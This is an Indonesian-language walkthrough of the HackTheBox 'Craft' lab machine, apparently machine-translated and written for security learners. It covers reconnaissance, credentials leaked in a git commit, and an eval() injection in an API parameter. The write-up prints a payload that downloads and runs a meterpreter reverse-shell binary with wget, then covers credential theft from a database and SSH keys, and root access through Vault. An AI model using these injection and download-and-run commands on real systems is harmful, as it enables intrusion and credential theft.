Pada artikel ini, saya akan mulai menerbitkan solusi yang dikirim untuk
diproses lebih lanjut dari situs
HackTheBox . Saya berharap ini akan membantu setidaknya seseorang untuk berkembang di bidang keamanan informasi. Kami akan melihat bagaimana Anda dapat mengeksploitasi RCE di API, mempelajari repositori Gogs, bekerja dengan basis data, dan menangani penyimpanan rahasia dan sistem manajemen Vault.
Koneksi ke laboratorium adalah melalui VPN. Dianjurkan untuk tidak terhubung dari komputer kerja atau dari host di mana data penting bagi Anda tersedia, karena Anda berakhir di jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)
Informasi OrganisasiTerutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:
- PWN;
- kriptografi (Crypto);
- teknologi jaringan (Jaringan);
- membalikkan (Reverse Engineering);
- steganografi (Stegano);
- pencarian dan eksploitasi kerentanan WEB.
Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.
Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat
saluran di Telegram dan
grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi
secara pribadi dan akan menjawab semua orang .
Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.
Kecerdasan
Pemindaian port
Mesin ini memiliki alamat IP 10.10.10.110, yang saya tambahkan ke / etc / hosts.
10.10.10.110 craft.htb
Pertama-tama, kami memindai port terbuka menggunakan nmap, dan menentukan opsi -A untuk mendapatkan informasi sebanyak mungkin tentang layanan yang ditemukan.
nmap -A craft.htb

Pada mesin, kita melihat layanan ssh, serta server web yang berjalan pada port 443. Jika Anda pergi ke server web, maka kami ditawari untuk melihat API.

Ketika kami mencoba melihat API dan git, kami diberitahu tentang situs yang tidak dikenal.

Oleh karena itu, kami menambahkan kedua nama domain ke / etc / hosts.
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb
Sekarang kedua tautan terbuka. API Kerajinan seharusnya merupakan antarmuka untuk bekerja dengan API, jadi sebagai permulaan kita perlu mengetahui cara kerjanya, Gogs mana yang akan membantu kita.

Titik masuk
Pada git, hal pertama yang harus diperiksa adalah commit.

Setelah melewati komit, di 10e3ba4f0a kami menemukan data otentikasi pengguna.

Setelah masuk ke gogs dalam korespondensi, kami menemukan penyebutan tentang bug.

Dengan mengklik tautan, kami mengetahui bagaimana verifikasi terjadi pada fungsi eval (), yang sangat berbahaya, karena Anda dapat mengeksekusi kode dalam fungsi ini.

Untuk menguji hipotesis, di konsol python lokal kita akan membuat analog dari fungsi, dan mencoba memanggil fungsi "sistem ()" dari modul "os".

Kode berhasil dieksekusi! Sekarang Anda perlu menulis exploit untuk dapat kembali terhubung. Pada tahap pertama, salin kode untuk otentikasi dan penerimaan token.
Dalam kode ini, beban kita dilewatkan dalam parameter "abv", jadi untuk memeriksa asumsi RCE kita mengganti string '15 .0 'dengan "__import __ (' os '). System (' ping your_ip ')".
Kami membuka tcpdump, yang menunjukkan antarmuka mana untuk mendengarkan dan memfilter parameter hanya paket ICMP dan meluncurkan exploit.


Kami mengamati bahwa kami dapat melakukan ping dari host jarak jauh. Sekarang kita membuang koneksi kembali. Itu bisa dilakukan melalui nc, tapi mari kita ambil shell meterpreter. Untuk melakukan ini, buat beban menggunakan msfvenom. Kami menentukan beban itu sendiri (reverse_tcp), host lokal dan port (LHOST, LPORT), dan format file elf.

Pada saat yang sama kami mengaktifkan server web lokal. Sekarang konfigurasikan pendengar di msfconsole. Untuk melakukan ini, atur parameter, seperti pada beban.

Kami mendengarkan koneksi yang masuk, sekarang kami perlu memuat beban pada host dan memulainya.
brew_dict['abv'] = 'wget http://10.10.14.199/shell.bin ; chmod +x shell.bin ; ./shell.bin'
Di jendela metasplit, kita melihat koneksi masuk.

PENGGUNA
Ayo luncurkan shell dan lihat siapa yang bekerja di bawah.

Menurut kesimpulan terminal, kita dapat mengasumsikan bahwa kita berada di dalam wadah buruh pelabuhan. Lihatlah tuan rumah.

Ada file executable dbtest.py. Anda harus menontonnya.

Program terhubung ke database dan menjalankan perintah dengan output selanjutnya. Mari kita lihat-lihat database. Untuk melakukan ini, saya meluncurkan konsol python interaktif pada host dan menyalin semua kode ke dalamnya sebelum perintah dijalankan.

Sekarang kami akan meminta tabel.

Akibatnya, kami mengembalikan 2 catatan. Karena cursor.fetchone () menampilkan satu entri, kami akan melakukan dua keluaran seperti itu.

Jadi kami punya 2 meja. Lebih menarik adalah pengguna. Kami menampilkan semua data dari tabel ini.

Dan ada 3 entri di dalamnya.

Dan kami mendapat kredit pengguna. Setelah mencobanya di ssh dan gagal kami mencoba masuk ke git. Dan ternyata masuk sebagai gilfoyle. Dan dia memiliki repositori tertutup.


Direktori .ssh sangat menarik. Ada dua kunci, dan kami mengambil yang pribadi.

Kami mencoba terhubung melalui ssh dengan kunci ini.

ROOT
Hal pertama yang dilihat di direktori pengguna.

Kami menemukan token dari lemari besi.

Setelah berurusan dengan
vault , saya akan mengatakan bahwa itu adalah sistem penyimpanan dan manajemen untuk rahasia yang berisi data dalam format kunci / nilai, yang diakses oleh token. Periksa apakah penyimpanan sudah diatur.

Mari kita
lihat daftar rahasia .

Jadi, kita melihat bahwa
akses ke ssh telah dikonfigurasi .

Sekarang kita memasukkan kata sandi satu kali yang diberikan kepada kita dan kita berada di sistem sebagai root.

Anda dapat bergabung dengan kami di
Telegram . Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.